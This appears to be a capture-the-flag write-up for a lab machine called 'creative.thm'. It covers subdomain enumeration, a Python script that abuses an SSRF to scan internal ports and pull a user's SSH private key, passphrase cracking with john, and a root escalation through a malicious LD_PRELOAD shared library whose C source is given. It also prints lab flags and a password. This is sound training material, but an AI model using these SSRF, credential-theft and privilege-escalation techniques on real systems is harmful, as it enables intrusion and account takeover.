Prerequisites

1. `echo '10.10.188.198 creative.thm' | sudo tee -a /etc/hosts`

Ports

```
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
(Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://creative.thm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Directory Enumeration

→ found nothing intresting

Subdomain Enumeration

→ `gobuster vhost -u creative.thm -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 64 --append-domain`

```
===============================================================
==
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
==
[+] Url:                     http://creative.thm
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:
/usr/share/wordlists/seclists/Discovery/DNS/subdomains-
top1million-20000.txt
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
[+] Append Domain:           true
===============================================================
==
Starting gobuster in VHOST enumeration mode
===============================================================
==
Found: beta.creative.thm Status: 200 [Size: 591]
```

→ *beta.creative.thm*

Enumerating ***beta.creative.thm***

→ URL Testing Field to check if the domain or site is alive or not
→ prolly , SSRF is there. Let's Check.
→ simply , uploading `.php` files didn't worked as it was taking it as a text file and showing printing it's text

→ `NOTE` : i can able to get the file from any webserver ,
: i tried to request back http://localhost/ with 1-65535 ports
: because there might be an internal web service running.

`script.py`

PYTHON

```python
import requests
import bs4

url = 'http://beta.creative.thm/'

for i in range(1,65535):
    data = {
        'url' : f'http://localhost:{i}/'
        }

    resp = requests.post(url,data=data)

    if resp.text != '<p> Dead </p>':
        print(f"Port {i} responded:")
        print(resp.text)
```

add threading to increase it's speed

`script.py` with threads functionality added :

PYTHON

```python
import requests
from concurrent.futures import ThreadPoolExecutor

url = 'http://beta.creative.thm/'

# Function to send the request and handle response
def check_port(i):

    data = {
    'url': f'http://localhost:{i}/'
    }

    try:
        resp = requests.post(url, data=data)
        # If the response text is not '<p> Dead </p>',
print the response
        if resp.text != '<p> Dead </p>':
        print(f"Port {i} responded:")
        print(resp.text)

    except requests.RequestException as e:
# Handle potential request exceptions like timeouts or
connection errors

        print(f"Error with port {i}: {e}")

# Increase the number of threads for concurrent requests
thread_count = 100 # Adjust thread number as needed
# Create a ThreadPoolExecutor to handle concurrent threads

with ThreadPoolExecutor(max_workers=thread_count) as
executor:
    # Submit tasks to the executor
    executor.map(check_port, range(1, 65535))
```

⟶ found 1337 port , with / directory access.

```
Port 1337 responded:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;
charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="bin/">bin@</a></li>
<li><a href="boot/">boot/</a></li>
<li><a href="dev/">dev/</a></li>
<li><a href="etc/">etc/</a></li>
<li><a href="home/">home/</a></li>
<li><a href="lib/">lib@</a></li>
<li><a href="lib32/">lib32@</a></li>
<li><a href="lib64/">lib64@</a></li>
<li><a href="libx32/">libx32@</a></li>
<li><a href="lost%2Bfound/">lost+found/</a></li>
<li><a href="media/">media/</a></li>
<li><a href="mnt/">mnt/</a></li>
<li><a href="opt/">opt/</a></li>
<li><a href="proc/">proc/</a></li>
<li><a href="root/">root/</a></li>
<li><a href="run/">run/</a></li>
<li><a href="sbin/">sbin@</a></li>
<li><a href="snap/">snap/</a></li>
<li><a href="srv/">srv/</a></li>
<li><a href="swap.img">swap.img</a></li>
<li><a href="sys/">sys/</a></li>
<li><a href="tmp/">tmp/</a></li>
<li><a href="usr/">usr/</a></li>
<li><a href="var/">var/</a></li>
```

```
</ul>
<hr>
</body>
</html>
```

——→ now , accessed .ssh of the user through the `beta.creative.thm`

——→ http://localhost:1337/home/saad/.ssh/id_rsa
→ passed this in URL tester input field and got id_rsa
→ saved in id_rsa file

Cracking id_rsa Passphrase

→ id_rsa was encrypted

```
ssh2john id_rsa > crack.txt
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
```

——→ *sweetness (id_rsa)*

Shell as 'saad'

```
ssh saad@IP -i id_rsa
```

user.txt

9a1ce90a7653d74ab98630b47b8b4a84

Privileges Escalations

found saad password in .bash_history file

```
echo "saad:MyStrongestPasswordYet$4291" > creds.txt
```

→ `sudo -l`

```
sudo -l
Matching Defaults entries for saad on m4lware:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\
env_keep+=LD_PRELOAD

User saad may run the following commands on m4lware:
    (root) /usr/bin/ping
```

→ **Focus on** *env_keep+=LD+PRELOAD*

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
```

→ `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
→ `sudo LD_PRELOAD=/tmp/shell.so /usr/bin/ping`
and boom!! i got reverse shell.

root.txt

992bfd94b90da48634aed182aae7b99f